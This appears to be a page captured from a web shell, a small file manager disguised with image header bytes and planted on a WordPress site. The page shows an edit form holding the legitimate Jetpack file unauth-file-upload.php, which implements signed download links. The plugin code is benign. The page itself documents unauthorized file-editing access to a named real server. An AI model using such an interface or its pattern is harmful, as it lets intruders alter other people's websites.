�PNG
�JFIF������
<style>  
body { background:#1a1a1a; color:#ccc; font-family:monospace; padding:20px; }  
a { color:#6cf; text-decoration:none; }  
a:hover { text-decoration:underline; }  
textarea,input[type=text] { width:100%; font-family:monospace; background:#222; color:#fff; border:1px solid #444; }  
input[type=submit] { background:#333; color:#fff; border:none; padding:5px 10px; }  
</style><h2>🗂️ simple</h2><p><b>Path:</b> <a href='?path=%2Fbig%2F'>big</a>/<a href='?path=%2Fbig%2Fweb%2F'>web</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.stick-clip.at%2F'>www.stick-clip.at</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.stick-clip.at%2Fhtdocsold%2F'>htdocsold</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.stick-clip.at%2Fhtdocsold%2Fwp-content%2F'>wp-content</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.stick-clip.at%2Fhtdocsold%2Fwp-content%2Fplugins%2F'>plugins</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.stick-clip.at%2Fhtdocsold%2Fwp-content%2Fplugins%2Fjetpack%2F'>jetpack</a>/</p><hr><h3>✏️ Editing: unauth-file-upload.php</h3>  
        <form method='post'>  
            <textarea name='content' rows='20'>&lt;?php
/**
 * Unauthenticated File Upload Helper Functions.
 *
 * @package automattic/jetpack
 */

namespace Automattic\Jetpack\UnauthFileUpload;

if ( ! defined( &#039;ABSPATH&#039; ) ) {
	exit( 0 );
}

add_action( &#039;wp_ajax_jetpack_unauth_file_download&#039;, __NAMESPACE__ . &#039;\handle_file_download&#039; );
add_filter( &#039;jetpack_unauth_file_upload_get_file&#039;, __NAMESPACE__ . &#039;\get_file_content&#039;, 10, 2 );
add_filter( &#039;jetpack_unauth_file_download_url&#039;, __NAMESPACE__ . &#039;\filter_get_download_url&#039;, 10, 2 );

/**
 * The lifetime of a download link, in seconds.
 *
 * Kept generous enough that an editor returning to the responses dashboard days later still
 * has a working link, short enough to limit the exposure of a leaked URL.
 */
const DOWNLOAD_LINK_LIFETIME = 7 * DAY_IN_SECONDS;

/**
 * The token scheme version carried in download links.
 *
 * Travels in the URL as `token_version` and is bound into the signature, so the signing scheme
 * can be changed in the future (bump this and branch on the value in authorize_file_download())
 * without older links being mistaken for the new format.
 */
const DOWNLOAD_TOKEN_VERSION = &#039;v1&#039;;

/**
 * Get the secret used to sign download links.
 *
 * Defaults to the Jetpack blog token, which this feature already depends on (the file content
 * is fetched from WP.com as the blog). There is nothing extra to store, and reconnecting
 * Jetpack rotates the token and so invalidates any outstanding links. Only the secret portion
 * of the token (after the publicly-visible key prefix) is used, matching the rest of the
 * connection stack.
 *
 * @since 16.0
 *
 * @return string The signing key, or an empty string if no secret is available.
 */
function get_download_signing_key() {
	$blog_token = ( new \Automattic\Jetpack\Connection\Tokens() )-&gt;get_access_token();
	$secret     = &#039;&#039;;

	if ( $blog_token &amp;&amp; ! is_wp_error( $blog_token ) &amp;&amp; ! empty( $blog_token-&gt;secret ) ) {
		// Blog tokens are stored as &quot;key.secret&quot;; sign with the secret part only, matching the
		// rest of the connection stack. Require exactly two non-empty parts so a malformed token
		// fails closed rather than signing links the fetch path could never honor.
		$parts = explode( &#039;.&#039;, (string) $blog_token-&gt;secret, 2 );
		if ( count( $parts ) === 2 &amp;&amp; &#039;&#039; !== $parts[0] &amp;&amp; &#039;&#039; !== $parts[1] ) {
			$secret = $parts[1];
		}
	}

	/**
	 * Filters the secret used to sign Forms unauthenticated file-download links.
	 *
	 * Defaults to the Jetpack blog token secret. Environments without a usable blog token
	 * (e.g. WordPress.com Simple) can return their own stable, secret value here so that
	 * download links can still be signed and verified.
	 *
	 * @since 16.0
	 *
	 * @param string $secret The signing secret. Empty string if none is available.
	 */
	return (string) apply_filters( &#039;jetpack_unauth_file_download_signing_key&#039;, $secret );
}

/**
 * Generate a signed token authorizing the download of a given file.
 *
 * Unlike a WordPress nonce, the token is not tied to a specific user or session, so a link
 * generated by one logged-in editor works for any logged-in editor. The expiry timestamp is
 * part of the signed payload, so it cannot be tampered with to extend access.
 *
 * @since 16.0
 *
 * @param int    $file_id The file ID.
 * @param int    $expires Unix timestamp at which the link stops being valid.
 * @param string $version The token scheme version. Defaults to the current scheme.
 *
 * @return string The hex-encoded HMAC-SHA256 token, or an empty string if there is no signing key.
 */
function generate_download_token( $file_id, $expires, $version = DOWNLOAD_TOKEN_VERSION ) {
	$key = get_download_signing_key();

	if ( &#039;&#039; === $key ) {
		return &#039;&#039;;
	}

	$payload = &#039;jetpack_unauth_file_download|&#039; . $version . &#039;|&#039; . (int) $file_id . &#039;|&#039; . (int) $expires;
	return hash_hmac( &#039;sha256&#039;, $payload, $key );
}

/**
 * Verify a download token against the expected signature using a constant-time comparison.
 *
 * Expiry is checked separately by the caller so it can surface a distinct &quot;expired&quot; message.
 * Fails closed when no signing key is available (i.e. the site is not connected).
 *
 * @since 16.0
 *
 * @param int    $file_id The file ID.
 * @param int    $expires Unix timestamp the token was signed with.
 * @param string $token   The token supplied in the request.
 * @param string $version The token scheme version the token was signed with.
 *
 * @return bool True if the token matches.
 */
function verify_download_token( $file_id, $expires, $token, $version = DOWNLOAD_TOKEN_VERSION ) {
	$expected = generate_download_token( $file_id, $expires, $version );

	return &#039;&#039; !== $expected
		&amp;&amp; is_string( $token ) &amp;&amp; &#039;&#039; !== $token
		&amp;&amp; hash_equals( $expected, $token );
}

/**
 * Get the file download URL filter callback.
 *
 * @param string $url The file download URL.
 * @param int    $file_id The file ID.
 *
 * @return string The file download URL.
 */
function filter_get_download_url( $url, $file_id ) {
	$expires = time() + DOWNLOAD_LINK_LIFETIME;
	$token   = generate_download_token( $file_id, $expires );

	if ( &#039;&#039; === $token ) {
		// No signing key (disconnected site, or WP.com Simple without the signing-key filter
		// wired). Return the passthrough so callers omit the link instead of handing out one
		// that can never work, and leave a breadcrumb for operators.
		error_log( &#039;Jetpack Forms: unable to sign file download link; no signing key available.&#039; ); // phpcs:ignore WordPress.PHP.DevelopmentFunctions.error_log_error_log
		return $url;
	}

	return add_query_arg(
		array(
			&#039;action&#039;        =&gt; &#039;jetpack_unauth_file_download&#039;,
			&#039;file_id&#039;       =&gt; $file_id,
			&#039;expires&#039;       =&gt; $expires,
			&#039;token_version&#039; =&gt; DOWNLOAD_TOKEN_VERSION,
			&#039;token&#039;         =&gt; $token,
		),
		admin_url( &#039;admin-ajax.php&#039; )
	);
}

/**
 * Reject a download request with the generic invalid-link error and a debug code, then exit.
 *
 * The message stays generic so it leaks nothing to the requester and stays actionable (a token
 * can be rejected simply because the blog token rotated on reconnect), while the appended code
 * identifies which check failed, so a user-reported screenshot is enough to locate the cause:
 *
 *   1 - Missing or unrecognized token_version.
 *   2 - Token signature did not verify.
 *   3 - Legacy nonce did not verify.
 *   4 - No token and no legacy nonce supplied.
 *
 * @since 16.0
 *
 * @param int $code Number identifying the failing check.
 *
 * @return void Terminates the request via wp_die().
 */
function invalid_download_link( $code ) {
	wp_die(
		esc_html(
			sprintf(
				/* translators: %d: error code used for debugging. */
				__( &#039;This download link is no longer valid. Reload the responses page to get a fresh link. (%d)&#039;, &#039;jetpack&#039; ),
				(int) $code
			)
		),
		&#039;&#039;,
		array( &#039;response&#039; =&gt; 403 )
	);
}

/**
 * Authorize a download request and return the requested file ID.
 *
 * Holds the security-critical gate (capability check, then either the current signed-token
 * scheme or the legacy nonce fallback). Terminates the request via wp_die() on any failure and
 * only returns when the caller is allowed to download the file. Kept separate from the
 * file-serving logic in handle_file_download() so each branch is unit-testable without the
 * headers/exit of the serving path.
 *
 * @since 16.0
 *
 * @return int The validated file ID.
 */
function authorize_file_download() {
	if ( ! current_user_can( &#039;edit_pages&#039; ) ) {
		wp_die( esc_html__( &#039;Sorry, you are not allowed to access this page.&#039;, &#039;jetpack&#039; ), &#039;&#039;, array( &#039;response&#039; =&gt; 403 ) );
	}

	$file_id = isset( $_GET[&#039;file_id&#039;] ) ? absint( wp_unslash( $_GET[&#039;file_id&#039;] ) ) : 0;

	if ( ! $file_id ) {
		wp_die( esc_html__( &#039;Invalid file request.&#039;, &#039;jetpack&#039; ), &#039;&#039;, array( &#039;response&#039; =&gt; 400 ) );
	}

	$token = isset( $_GET[&#039;token&#039;] ) ? sanitize_text_field( wp_unslash( $_GET[&#039;token&#039;] ) ) : &#039;&#039;;

	if ( &#039;&#039; !== $token ) {
		// Current scheme: a site-signed, expiring token. Future schemes can branch on the version.
		$token_version = isset( $_GET[&#039;token_version&#039;] ) ? sanitize_text_field( wp_unslash( $_GET[&#039;token_version&#039;] ) ) : &#039;&#039;;

		if ( DOWNLOAD_TOKEN_VERSION !== $token_version ) {
			invalid_download_link( 1 );
		}

		$expires = isset( $_GET[&#039;expires&#039;] ) ? absint( wp_unslash( $_GET[&#039;expires&#039;] ) ) : 0;

		// A link is valid up to and including its expiry second; expired once time passes it.
		if ( ! $expires || $expires &lt; time() ) {
			wp_die( esc_html__( &#039;This download link has expired. Reload the responses page to get a fresh link.&#039;, &#039;jetpack&#039; ), &#039;&#039;, array( &#039;response&#039; =&gt; 410 ) );
		}

		// $token_version was asserted equal to DOWNLOAD_TOKEN_VERSION above; pass the constant so
		// a future multi-version branch can&#039;t accidentally feed the request value back in.
		if ( ! verify_download_token( $file_id, $expires, $token, DOWNLOAD_TOKEN_VERSION ) ) {
			invalid_download_link( 2 );
		}
	} elseif ( isset( $_GET[&#039;_wpnonce&#039;] ) ) {
		/*
		 * Backward compatibility for legacy per-file nonce links that may still be circulating
		 * in already-sent emails. WordPress nonces are only valid for ~24h, so these links
		 * expire on their own shortly after the signed-token scheme ships.
		 *
		 * @todo Remove this legacy nonce fallback in Jetpack 16.3 or later; links signed under
		 *       the old scheme self-expire within ~24h of the signed-token scheme shipping.
		 */
		if ( ! wp_verify_nonce( sanitize_text_field( wp_unslash( $_GET[&#039;_wpnonce&#039;] ) ), &#039;jetpack_unauth_file_download_nonce_&#039; . $file_id ) ) {
			invalid_download_link( 3 );
		}
	} else {
		invalid_download_link( 4 );
	}

	return $file_id;
}

/**
 * Handle file download requests from the admin page.
 *
 * @return never This method never returns as it exits directly
 */
function handle_file_download() {
	$file_id = authorize_file_download();

	/**
	 * Get the file content that we send to the user to download.
	 *
	 * @since 14.6
	 *
	 * @param array $file_content The file content.
	 * @param string $file_id The file ID.
	 *
	 * @return array|\WP_Error The file array, containing the content, name and type.
	 */
	$file = apply_filters( &#039;jetpack_unauth_file_upload_get_file&#039;, array(), $file_id );

	if ( is_wp_error( $file ) || empty( $file ) || ! is_array( $file ) ) {
		wp_die( esc_html__( &#039;Error retrieving file content.&#039;, &#039;jetpack&#039; ) );
	}

	// Given $file can be manipulated by a filter, make sure everything is as it should be.
	$file[&#039;content&#039;] = $file[&#039;content&#039;] ?? &#039;&#039;;
	$file[&#039;type&#039;]    = $file[&#039;type&#039;] ?? &#039;application/octet-stream&#039;;
	$file[&#039;name&#039;]    = $file[&#039;name&#039;] ?? &#039;&#039;;

	// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- The request is already authorized in authorize_file_download() before reaching here.
	$is_preview = isset( $_GET[&#039;preview&#039;] ) &amp;&amp; &#039;true&#039; === $_GET[&#039;preview&#039;] &amp;&amp; is_file_type_previewable( $file[&#039;type&#039;] );

	// Clean output buffer
	if ( ob_get_length() ) {
		ob_clean();
	}
	// Set headers for download
	header( &#039;Content-Type: &#039; . $file[&#039;type&#039;] );

	if ( ! $is_preview ) {
		// Forcing the file to be downloaded is important to prevent XSS attacks.
		header( &#039;Content-Disposition: attachment; filename=&quot;&#039; . sanitize_file_name( $file[&#039;name&#039;] ) . &#039;&quot;&#039; );
	} else {
		// For preview mode, use inline disposition
		header( &#039;Content-Disposition: inline; filename=&quot;&#039; . sanitize_file_name( $file[&#039;name&#039;] ) . &#039;&quot;&#039; );
	}
	header( &#039;Content-Length: &#039; . strlen( $file[&#039;content&#039;] ) );
	header( &#039;Content-Transfer-Encoding: binary&#039; );
	header( &#039;Cache-Control: no-cache, must-revalidate, max-age=0&#039; );
	header( &#039;Pragma: no-cache&#039; );
	header( &#039;Expires: 0&#039; );

	// Output file content and exit
	echo $file[&#039;content&#039;]; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Binary file data
	exit( 0 );
}

/**
 * Get the file content.
 *
 * @param array   $file_content The file content, name and type.
 * @param integer $file_id The file ID.
 * @return array|\WP_Error The file content, name and type
 */
function get_file_content( $file_content, $file_id ) {
	if ( ( new \Automattic\Jetpack\Status\Host() )-&gt;is_wpcom_simple() ) {
		return $file_content;
	}

	$blog_id     = \Jetpack_Options::get_option( &#039;id&#039; );
	$request_url = sprintf( &#039;/sites/%d/unauth-file-upload/%s&#039;, $blog_id, $file_id );

	$response = \Automattic\Jetpack\Connection\Client::wpcom_json_api_request_as_blog(
		$request_url,
		&#039;v2&#039;,
		array(
			&#039;method&#039; =&gt; &#039;GET&#039;,
		),
		null,
		&#039;wpcom&#039;
	);

	$file_content = wp_remote_retrieve_body( $response );

	if ( is_wp_error( $response ) || empty( $file_content ) ) {
		return new \WP_Error( &#039;jetpack_unauth_file_upload_error&#039;, esc_html__( &#039;Error retrieving file content.&#039;, &#039;jetpack&#039; ) );
	}

	try {
		$content = json_decode( $file_content, true, 3, defined( &#039;JSON_THROW_ON_ERROR&#039; ) ? \JSON_THROW_ON_ERROR : 0 ); // phpcs:ignore PHPCompatibility.Constants.NewConstants.json_throw_on_errorFound
		if ( isset( $content[&#039;message&#039;] ) ) {
			return new \WP_Error( &#039;jetpack_unauth_file_upload_error&#039;, esc_html__( &#039;Error retrieving file content.&#039;, &#039;jetpack&#039; ) );
		}
	} catch ( \Exception $e ) { // phpcs:ignore Generic.CodeAnalysis.EmptyStatement.DetectedCatch
		// If the file is not JSON, we assume it&#039;s a binary file.
	}

	$content_disposition = wp_remote_retrieve_header( $response, &#039;content-disposition&#039; );
	$filename            = &#039;&#039;;
	if ( $content_disposition ) {
		// Match the filename using a regular expression
		if ( preg_match( &#039;/filename=&quot;([^&quot;]+)&quot;/&#039;, $content_disposition, $matches ) ) {
			$filename = $matches[1]; // Extract the filename
		}
	}

	$type = wp_remote_retrieve_header( $response, &#039;content-type&#039; );
	if ( empty( $type ) ) {
		$type = &#039;application/octet-stream&#039;; // Default to binary if no content type is found
	}

	return array(
		&#039;content&#039; =&gt; $file_content,
		&#039;type&#039;    =&gt; $type,
		&#039;name&#039;    =&gt; $filename,
	);
}

/**
 * Check which file type is previewable in the browser without downloading them.
 *
 * Allow images with extensions jpg, jpeg, png, gif, webp and pdf files.
 *
 * @param string $file_type The MIME type of the file.
 * @return bool True if the file is previable, false otherwise.
 */
function is_file_type_previewable( $file_type ) {
	$previable_types = array(
		&#039;image/jpeg&#039;,
		&#039;image/png&#039;,
		&#039;image/gif&#039;,
		&#039;image/webp&#039;,
		&#039;application/pdf&#039;,
	);

	return in_array( $file_type, $previable_types, true );
}
</textarea><br>  
            <input type='submit' value='Save'>  
        </form>  
        <p><a href='?path=%2Fbig%2Fweb%2Fwww.stick-clip.at%2Fhtdocsold%2Fwp-content%2Fplugins%2Fjetpack'>🔙 Back</a></p>